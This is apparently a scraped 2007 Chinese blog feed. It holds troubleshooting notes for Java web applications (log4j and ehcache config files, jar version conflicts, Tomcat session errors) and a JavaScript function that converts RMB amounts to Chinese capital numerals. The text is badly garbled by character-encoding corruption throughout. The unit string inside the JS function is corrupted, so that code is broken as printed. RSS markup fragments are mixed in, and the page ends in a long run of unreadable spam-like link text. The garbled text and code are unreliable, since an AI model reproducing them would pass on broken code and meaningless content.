                 log4j:WARN Please initialize the log4j system properly.
解决Ҏ(gu) : 在WEB-INF/classes/路径下加上文?log4j.properties 其参考内容如?br />
# Set root logger level to error
log4j.rootLogger=INFO, Console, File

###### Console appender definition #######

# All outputs currently set to be a ConsoleAppender.
log4j.appender.Console=org.apache.log4j.ConsoleAppender
log4j.appender.Console.layout=org.apache.log4j.PatternLayout
log4j.appender.Console.layout.ConversionPattern=%d{ABSOLUTE} %-5p [%c{3}] %m%n
#log4j.appender.Console.layout.ConversionPattern=%d{ABSOLUTE} %-5p [%c] %m%n

###### File appender definition #######
log4j.appender.File=org.apache.log4j.DailyRollingFileAppender
log4j.appender.File.File=spring.log
log4j.appender.File.Append=false
log4j.appender.File.layout=org.apache.log4j.PatternLayout
log4j.appender.File.layout.ConversionPattern=%d{ABSOLUTE} %-5p [%c] %m%n

###### Hibernate specific appender definition #######
#log4j.appender.file=org.apache.log4j.FileAppender
#log4j.appender.file.File=hibernate.log
#log4j.appender.file.layout=org.apache.log4j.PatternLayout
#log4j.appender.file.layout.ConversionPattern=%d{ABSOLUTE} %5p %c{1}:%L - %m%n

###### Log level overrides #######

# Hibernate
log4j.logger.org.hibernate.cache.EhCacheProvider=warn
log4j.logger.org.hibernate.type=warn
# log4j.logger.org.hibernate.persister.collection=DEBUG

# Spring
log4j.logger.org.springframework=warn

# Axis/WSS4J
log4j.logger.org.apache.axis=info
log4j.logger.org.apache.ws=info

# MyFaces
log4j.logger.org.apache.myfaces.util.DebugUtils=info
log4j.logger.org.apache.myfaces.el.VariableResolverImpl=error
log4j.logger.org.apache.myfaces.application.jsp.JspViewHandlerImpl=error

# log prepared statement cache activity ###
log4j.logger.org.hibernate.ps.PreparedStatementCache=info


###### Examples #######
# To dump performance results on VM termination
#log4j.logger.performance.summary.vm=debug

# To dump performance stats on every call
#log4j.logger.performance.summary.method=debug

# Examples of activating performance logging on various beans
#log4j.logger.performance.nodeDaoService=debug
#log4j.logger.performance.dbNodeService=debug
#log4j.logger.performance.indexingNodeService=debug
#log4j.logger.performance.indexerComponent=debug

错误信息 : WARN  [ehcache.config.ConfigurationFactory] No configuration found. Configuring ehcache from ehcache-failsafe.xml
解决Ҏ(gu) : 在WEB-INF/classes/路径下加上文?ehcache.xml 其参考内容如?br />
<ehcache>
 <diskStore path="java.io.tmpdir"/>
 <defaultCache
    maxElementsInMemory="10000"
    eternal="false"
    timeToIdleSeconds="10000"
    timeToLiveSeconds="10000"
    overflowToDisk="true"
 />
  <cache  name="com.hour41.hibernate.vo.common.City"
    maxElementsInMemory="10000"
    eternal="false"
    timeToIdleSeconds="10000"
    timeToLiveSeconds="10000"
    overflowToDisk="true"
 />
</ehcache>


错误信息Qjava.lang.NoSuchMethodError: org.objectweb.asm.ClassVisitor.visit(IILjava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)V
at net.sf.cglib.core.ClassEmitter.begin_class(ClassEmitter.java:77)

解决Ҏ(gu)QSpring ?Hibernate q的一?jar 文g发生了版本冲H? 删除 WEB-INF/lib/asm-2.2.3.jar 然后重启 Tomcat.


错误信息Qjavax.servlet.jsp.JspException: Invalid argument looking up property usersVO.account of bean loginForm
解决Ҏ(gu)QForm中的usersVO没被实例化,在resetҎ(gu)中new一下就O(jin)K?

错误信息Qorg.apache.jasper.JasperException: Failed to load or instantiate TagLibraryValidator class: org.apache.taglibs.standard.tlv.JstlCoreTLV
解决Ҏ(gu)Q加入standard.jarQ重启tomcat

错误信息Q严? Exception loading sessions from persistent storage 
解决Ҏ(gu)Qtomcat安装目录\work\Catalina\localhost\{webAppName}\SESSIONS.serQ删除此文g

cyanbomb 2007-12-28 09:54 发表评论
]]>
人民币小写金额{换ؓ大写金额http://www.tkk7.com/cyanbomb/archive/2007/12/27/170936.htmlcyanbombcyanbombThu, 27 Dec 2007 08:53:00 GMThttp://www.tkk7.com/cyanbomb/archive/2007/12/27/170936.htmlhttp://www.tkk7.com/cyanbomb/comments/170936.htmlhttp://www.tkk7.com/cyanbomb/archive/2007/12/27/170936.html#Feedback1http://www.tkk7.com/cyanbomb/comments/commentRss/170936.htmlhttp://www.tkk7.com/cyanbomb/services/trackbacks/170936.html function RMB_Convert(n)
//人民币小写金额{换ؓ大写金额
{
var strOutput = "";
var strUnit = ’仟䘪拾亿仟䘪拾万仟䘪拑օ角分’;
n += "00";
var intPos = n.indexOf(’.’);
if (intPos >= 0)
n = n.substring(0, intPos) + n.substr(intPos + 1, 2);
strUnit = strUnit.substr(strUnit.length - n.length);
for (var i=0; i < n.length; i++)
strOutput += ’零壹贰叁肆伍陆柒捌玖’.substr(n.substr(i,1),1) + strUnit.substr(i,1);
return strOutput;
}


cyanbomb 2007-12-27 16:53 发表评论
]]>
վ֩ģ壺 ޾Ʒ߾ƷƵ| ҹƵ| 91ɫۺϾþ| Ʒһģʽ| ˿wwwƵ| ɫwwwվ| 99ƷƵ| ձƵ߹ۿ| ůůƵƵ| һػaaëƬѹۿ| þ91ۿ| ѾƷ99þùۺϾƷ| һ| wwwѸƵ| ھƷþþþӰԺ | žžAVƬ| ޾Ʒþþþȥq| ޾ƷþþþþðĦ | ŷƵ߹ۿ| ƷƬҹɫ| ŷ| Ƶһѹۿ| xxxxxܴƬ߹ۿ| ĻƵ| ޾ƷѹۿƵ| 97ѹۿƵ߹ۿ | һ| Ʒþþþþþþ| ˬָ߳ëƬ| vƬƵ߹ۿƵ| 츾avһ| þþþAV鶹| ۺɫɫ| þˮAV뾫Ʒ| aһëƬѸ| 99reƵƷȫ| avѵӰ| ˳˳ۺþþ | ˳վ߹ۿ| Ļ߹ۿ| һ234|